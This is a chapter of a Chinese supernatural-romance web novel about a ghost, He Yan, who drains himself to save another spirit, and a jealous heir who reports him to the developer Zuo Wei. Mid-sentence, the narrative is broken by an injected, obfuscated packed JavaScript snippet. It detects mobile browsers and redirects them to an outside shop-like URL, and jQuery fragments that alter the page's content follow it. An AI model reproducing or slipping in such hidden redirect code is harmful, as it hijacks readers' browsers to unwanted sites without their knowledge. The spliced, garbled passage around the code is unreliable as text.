王弼收回手,面露难色:“不行,她的魂体受损太严重了,本源都在溃散,这需要耗费极大的本源灵力才能强行稳住,而且还不一定能救回来,这代价太大,我无能为力。”
并非他冷血,如此耗损自身去修补一个濒临彻底消散的魂体,且成功率渺茫,在这强敌环伺,何晏也不知所踪的时刻,保全自身战力,以确保能护住夏霖和寻回何晏,才是他最理智,却也是最无奈的选择。
夏霖抱着连轮廓都开始模糊的陈玉卿,最后一丝希望破灭。
“对不起,真的对不起。”虽然是一只鬼,可她是一只好鬼,更何况又是因为自己才魂飞魄散。“我去求桐老爷,他应该有别的办法。”
王弼嗤笑:“你是在逗我吧,你见过哪个鬼差给鬼怪开后门的,他有没有这能耐还另说。”
门口的光线一暗。
何晏的身影出现在那里,仿佛他一直就在,只是无人察觉。
他显然听到了刚才的一切,平静地扫过夏霖,没有一句询问,来到陈玉卿面前,伸出手指精准而又轻缓地点在了她的眉心。
随之他的气源源不断地渡入陈玉卿的本源之中。
王弼屏住了呼吸,他比谁都清楚,何晏此刻的行为无异于剜肉补疮,是在用自己的根本去填一个注定要漏的底。
“何君,你不怕自己没命啊。”王弼开口阻拦。
何晏淡淡地说:“我怕,不然你来?”
王弼:“……”
夏霖连大气都不敢喘一下,她看着何晏的身影在以肉眼可见的速度变得愈发稀薄,周身的寒气也不受控制地弥漫开来,连客厅的温度都跟着降低了,墙壁上甚至凝结出了细密的霜花。
可是全程他都面无表情,仿佛正在承受着魂体撕裂痛苦的不是他自己。
终于,陈玉卿那原本即将湮灭的魂体轻微地颤动了一下,如同即将熄灭的火星被重新吹入了一丝氧气,溃散的趋势也被强行止住,轮廓变得清晰起来,虽然依旧脆弱,但至少可以确定她可以保住自己的小命了。
王弼捏着鼻子将陈玉卿的魂体拎到一边:“下次死外面,不要回来祸害我们。”
陈玉卿委屈至极,袖口遮住泪眼:“我明明是因公负伤,怎么能死外面?死外面算谁的?”
“没有工伤费的,别讹我。”
这时,何晏晃动了一下,扶着墙才稍稍站稳,夏霖先前的所有怨气都烟消云散了,只剩下心疼和恐慌,他真的看起来快无了,不会死吧,也怨自己之前羞辱他。
“来,你吸我的气,赶紧的。”她想也没想就扑了上去,用力环抱住那具冰冷得没有一丝活气的身体,比她想象的还要轻,还要冷,她没有回避,反而收紧了手臂,将他更紧地拥在怀里,想要用自己的体温去暖热他。
“今天你就算吸干我,我都不怨你。”
“……没力气吸了。”何晏好似彻底卸下防御,不等夏霖反应,他就沉甸甸地靠了过来。
夏霖有些难过:“你会不会……死啊?”
“死?”他微弱地哼了一声,即便在这种时候,毒舌的本能依旧在线,“你盼我点好,我只是稍微充会儿电,懂吗?”
“真是个装货,你都快变成透明的了。”夏霖没有理会他的嘴硬,固执地将脸颊贴上他心口。
何晏怒容再现:“大人说话,小孩不许顶嘴。”
“……回去睡觉吧,我以后再也不会和你吵了,真的。”夏霖半扶半抱地撑起他朝着卧室挪动。
静默只持续了很短的时间,何晏的气息拂过她的发梢:“以后不许再去见你那个青梅竹马,贼眉鼠眼的样子,看着就倒胃口。”
夏霖肩膀微微动了一下,没有出声。
“听见了没?不说话就当默认了。”
没有等到回答。
他一看,身侧的女孩呼吸变得绵长均匀,不知何时竟已睡着了,他忍不住嘴角上扬,但忽然意识到自己的失态,又迅速敛去所有笑容……
王弼摸着下巴,若有所思地目送那两人互相依偎着挪进卧室,忽然恍然大悟般一拍大腿:“三十六计,何君玩的这是哪一计?该不会是苦肉计吧?”
他越想越觉得有理,忍不住啧啧称奇:“高,实在是高,这一招示敌以弱,以退为进,不仅能化解矛盾,还能顺势拉近距离,不愧是前辈,算了,反正他俩能和好就行。”
他伸了个懒腰,优哉游哉地晃回客厅,美滋滋地掏出手机,决定把这个最新观察到的战术案例也记下来,说不定以后写地府特供版的《霸总文学实战手册》时候能用得上。
一旁猥琐发育的陈玉卿悄咪咪说了一句:“这是饿鬼身上掉下的东西,你看有没有用处?”
她摊开掌心,竟然是一支笔。
“这只笔有些年头了,而且还是官府专用的规格,难道说他还是个小吏?”王弼轻抚着下巴不存在的胡须,一阵若有所思,“饿鬼通常是带有恶意的,这只还真不一样,宁可翻垃圾桶,也不肯吃人的气,改天去拜访下他。”
陈玉卿古怪地问:“你拜访他干什么?”
王弼不假思索地说:“我的面包,他还欠着我的,我要用他的笔换回来呗。”
“……”陈玉卿默默在心中将他拉黑。
……
高级私立医院的VIP病房里,麻药过后,腕骨碎裂的剧痛一阵阵袭来。
赵洺脸色狰狞,对着手下疯狂咆哮:“查,给我往死里查那个叫何晏的杂种,我要知道他到底什么来头。”
他动用所有见不得光的关系和巨额金钱,铺开一张巨大的调查网,但所有的线索都石沉大海,“何晏”这个名字干净得像是不存在于这个世界,这反而激起了赵洺更大的疑心,就在他要放弃时,一条隐秘的渠道终于传回了消息。
资料显示,他极有可能是一名十八线小演员,同样也是本市著名开发商左薇的情人。
何让……
手下战战兢兢地递上一张偷拍到的模糊照片,背景是某个顶级慈善晚宴的角落,身形高大的何晏正微微侧头,与身旁一个气质卓绝,容貌明艳大气的女人低声交谈,那女人正是左薇,她唇角还挂着一丝若有若无的笑意。
看着照片上那张熟悉又可恨的脸,赵洺忍着腕部传来的阵阵抽痛,露出扭曲又得意的笑。
“好啊……好啊……原来是个吃软饭的小白脸,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578836|187231||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仗着左薇的势,就敢动我?”他啐了一口,“左薇那个女人,出了名的掌控欲强,眼里揉不得沙子,要是知道她养的小情人在外面为了别的女人争风吃醋,呵呵。”
他几乎能想象到左薇的怒火,这比他自己动手报复,更狠,更彻底,于是不再犹豫,拨通了左薇的电话,电话响了很久才被接通,对面没有立刻说话,只有一片沉默。
赵洺下意识堆起虚伪的笑容,尽管对方看不见:“左总吗?哎呀,打扰您了,是我,赵洺。”
城市的另一端,一座顶层复式公寓内。
左薇刚刚结束一个跨国视频会议,有些疲惫地揉了揉眉心,她穿着剪裁利落的丝质长裙,身姿窈窕,容颜冷艳,一双凤眼微微上挑,天生带着夺目的强势。
手机响起,看到是赵洺的号码,她眉头蹙了一下,神情变得厌烦,有钱人也分三六九等,她最看不上的就是这种富二代,而且一向懒得应付。
本不想接电话的,可一想到她即将要拆了金周路的旧房去做商场,而赵洺在那里有很多盘根错节的关系,难免要对他客气些。
她习惯性地掌控对话的节奏,听着赵洺在那头故作熟络又带着一丝小心翼翼的声音,下意识看向左手边的第一个抽屉,鬼使神差地,她伸出手,拉开了那个抽屉。
抽屉里很空,只静静地躺着一个破烂不堪,甚至一只眼睛都快要脱落的小熊玩偶,像是从某个被遗忘的垃圾堆里捡来的。
赵洺还在电话那头喋喋不休:“说起来也是巧合,今天我跟佘老板派来的代表谈笔古董交易,没想到他手下那位夏小姐,带来的男助理脾气可真不小……”
“说重点。”左薇拂过小熊玩偶粗糙的布料,眼神有些恍惚,好似透过这个破旧的玩偶,看到了很久远的一些片段。
赵洺并未察觉她的走神,刻意压低声音:“左总,我主要是担心您,何让今天为了那个姓夏的女人,当场就掰断了我的手腕,我是怕您不知情,被他蒙蔽,万一他仗着您的势,在外面惹出更大的乱子,或是对您有什么不利的心思……”
“何让”两个字像一把钥匙,将左薇从短暂的失神中拉回现实。
“你说他为了一个女人对你动手?你亲眼所见是他吗?”她的声音明明平静无波,却让电话那头的赵洺莫名打了个寒颤。
“千真万确,在场所有人都可以作证,那女人叫夏霖。”
左薇沉默了,这短暂的沉默却比任何质问都让人心惊肉跳。
“很好。”她终于再次开口,声音里听不出任何情绪,“赵总,你特意告知,这份心意,我记下了。”
不等赵洺再说什么,直接挂断了电话。
空旷的房间里只剩下她一个人,她将那只小熊玩偶拿到眼前,仔细端详着,像是在透过它,审视着某个让她捉摸不透的人。
“何让?这么快,就找到新的饲养员了?但我不会放过你的。”
她拿起内部电话,按下快捷键,语气恢复了一贯的强势:“备车,另外把何让现在所有的行踪和接触的人,全部资料,立刻送到我面前。”
她倒要看看,是什么样的饲养员,能让她精心养育的玩物摇尾示好。